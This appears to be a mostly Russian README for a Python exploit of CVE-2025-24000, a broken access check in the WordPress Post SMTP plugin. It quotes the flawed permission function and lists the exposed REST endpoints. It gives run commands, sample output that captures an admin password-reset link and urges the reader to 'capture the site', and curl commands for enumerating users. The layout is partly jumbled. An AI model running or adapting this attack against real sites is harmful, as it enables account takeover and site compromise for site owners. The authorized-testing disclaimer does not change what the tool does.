
Short Python script for exploiting CVE-2025–24000 based on this blog post: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
Этот скрипт эксплуатирует CVE-2025-24000 — уязвимость высокого уровня серьезности, связанную с нарушением контроля доступа в плагине Post SMTP для WordPress (версии ≤ 3.2.0). Она позволяет любому аутентифицированному пользователю с низкопривилегированной учетной записью (например, подписчику) получать доступ к журналам электронной почты REST API плагина, перехватывать ссылку сброса пароля администратора и захватывать учетную запись администратора.
Уязвимость возникает из-за ошибочной проверки разрешений в REST API плагина:
// Уязвимый код (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
Любой вошедший в систему пользователь, независимо от роли, может получить доступ к конечным точкам, предназначенным только для администраторов:
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin//wp-admin как администраторrequests (pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <your_subscriber_username> \
--password <your_subscriber_password> \
--email <admin_username_or_email>
| Аргумент | Описание |
|---|
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] Выполняется вход как attacker...
[+] Успешный вход как attacker
[*] Получение nonce WP REST из wp-admin...
[+] Получен nonce: a5f398e081
[*] Запуск сброса пароля для: shogun
[+] Сброс пароля запущен.
[*] Получение журналов электронной почты...
[+] Получен ответ с журналами.
[*] Проверка 1 письма(ем) на наличие ссылки сброса...
[+] ССЫЛКА СБРОСА НАЙДЕНА:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] Перейдите по ссылке выше, чтобы установить новый пароль администратора и захватить сайт.
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Не используйте его против систем, к тестированию которых у вас нет явного разрешения.
--url | Базовый URL сайта WordPress (например, http://target.local/wordpress/) |
--username | Ваше низкопривилегированное имя пользователя WordPress |
--password | Ваш низкопривилегированный пароль WordPress |
--email | Имя пользователя администратора или email для сброса |